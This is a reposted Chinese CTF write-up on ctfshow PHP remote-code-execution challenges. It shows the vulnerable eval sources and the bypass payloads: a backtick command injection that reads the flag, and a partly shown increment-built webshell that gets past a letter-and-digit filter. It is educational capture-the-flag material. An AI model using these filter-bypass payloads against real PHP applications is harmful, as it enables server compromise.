我的编程空间,编程开发者的网络收藏夹
学习永远不晚

一些RCE的汇总

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

一些RCE的汇总

RCE


前两天刚好ctfshow有个RCE极限大挑战,看着还挺好玩的,稍微摸了几个博客总结一下,感受感受大佬们的绕过技巧和思路。
直接照搬好像又不太合适,加一点点个人见解好了。

自增RCE

参考[CTFshow-RCE极限大挑战官方wp]

wp指路

CTFshow-RCE极限大挑战官方wp

开始复现

RCE-1[过滤.(]

题目源码

error_reporting(0);highlight_file(__FILE__);$code = $_POST['code'];$code = str_replace("(","括号",$code);$code = str_replace(".","点",$code);eval($code);?>

过滤了(.,wp有写文件包含,ls看了一眼直接开摆
在这里插入图片描述
因为php的反引号可以执行系统命令,就可以直接POST得到flag

code=echo `$_POST[1]`;&1=cat /f*

在这里插入图片描述

RCE-2p[自增-Array]

题目源码

//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。error_reporting(0);highlight_file(__FILE__);if (isset($_POST['ctf_show'])) {       $ctfshow = $_POST['ctf_show'];    if (is_string($ctfshow)) {           if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){               eval($ctfshow);        }else{               echo("Are you hacking me AGAIN?");        }    }else{           phpinfo();    }}?>

禁用了字母数字和很多符号,可以用的符号有’$_;+,可以确定是按照自增的方式来构造webshell进行RCE,payload构造过程:
从这里开始进入正题了,由于异或^和取反~都被过滤了,就可以用到数组[]和递增++

先解释,顺便把RCE-345里用到的N解释一下
将数据类型转换成字符串型,就能得到数据类型相对应的字符串

// highlight_file(__FILE__);$_ = [];//Arrayecho $_.'
'
;$_ = [].'';//Arrayecho $_.'
'
;$_ = "$_";//Arrayecho $_.'
'
;$_ = $_['!'=='@'];//Array[0]=>Aecho $_.'
'
;echo '可以通过(0/0)来构造float型的NAN,(1/0)来构造float型的INF,然后转换成字符串型,得到"NAN"和"INF"中的字符了
'
;@$a=(0/0);//NANecho $a.'
'
;@$b=(1/0);//NANecho $b;?>

在这里插入图片描述
exp就直接照抄了,因为0被过滤了,就只能用数组的A来自增了

$_=[].'';//Array$_=$_[''=='$'];//A$____='_';//_$__=$_;//A$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//P$____.=$__;//_P$__=$_;//A$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//O$____.=$__;//_PO$__=$_;//A$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;//S$____.=$__;//_POS$__=$_;//A$__++;$__++;$__++;$__++;$__++;$__

来源地址:https://blog.csdn.net/qaq517384/article/details/127976798

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

一些RCE的汇总

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

android 一些工具类汇总

一 Paint ,Canvaspublic class drawView extends View{private Paint paint1;public drawView(Context context,AttributeSet set
2022-06-06

一些常用的Python爬虫技巧汇总

Python爬虫:一些常用的爬虫技巧总结爬虫在开发过程中也有很多复用的过程,这里总结一下,以后也能省些事情。1、基本抓取网页 get方法import urllib2 url "http://www.baidu.com" respons =
2022-06-04

MYSQL中binlog优化的一些思考汇总

问题 问题1:如何解决事务提交时flush redo log带来的性能损失 WAL是实现事务持久性(D)的一个常用技术,基本原理是将事务的修改记录redo log。redo log顺序追加写入。事务提交时,只需要保证事务的redo log落
2022-05-30

mysql对于模糊查询like的一些汇总

1、常见用法: (1)搭配%使用 %代表一个或多个字符的通配符,譬如查询字段name中以大开头的数据:(2)搭配_使用 _代表仅仅一个字符的通配符,把上面那条查询语句中的%改为_,会发现只能查询出下面一条数据:2、使用like模糊查询会导致
2022-05-21

前端必备的一些nginx知识点汇总

Nginx是一个高性能的HTTP和反向代理web服务器,同时也提供了IMAP/POP3/SMTP服务,下面这篇文章主要给大家汇总介绍了关于前端必备的一些nginx知识点,文中通过实例代码介绍的非常详细,需要的朋友可以参考下
2023-03-19

Win10使用方法汇总(一些你不知道的)

Win10系统延续了微软的风格,也很大php一部分继承了Win7、Win8的路线。所以一般来说会用Win7、Win8的就会用Win10了。但是Win10毕竟是一个新系统,所以还是有一些新知识要学习的。本文就来总结一下Win10使用的一些方法
2023-06-16

linux定时任务的一些相关操作汇总

本人搜罗各大网站并测试了相关定时任务的操作方便大家进行查阅和操作。 1、cron介绍 我们经常使用的是 crontab 命令是cron table的简写,它是cron的配置文件,也可以叫它作业列表,我们可以在以下文件夹内找到相关配置文件。
2022-06-04

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录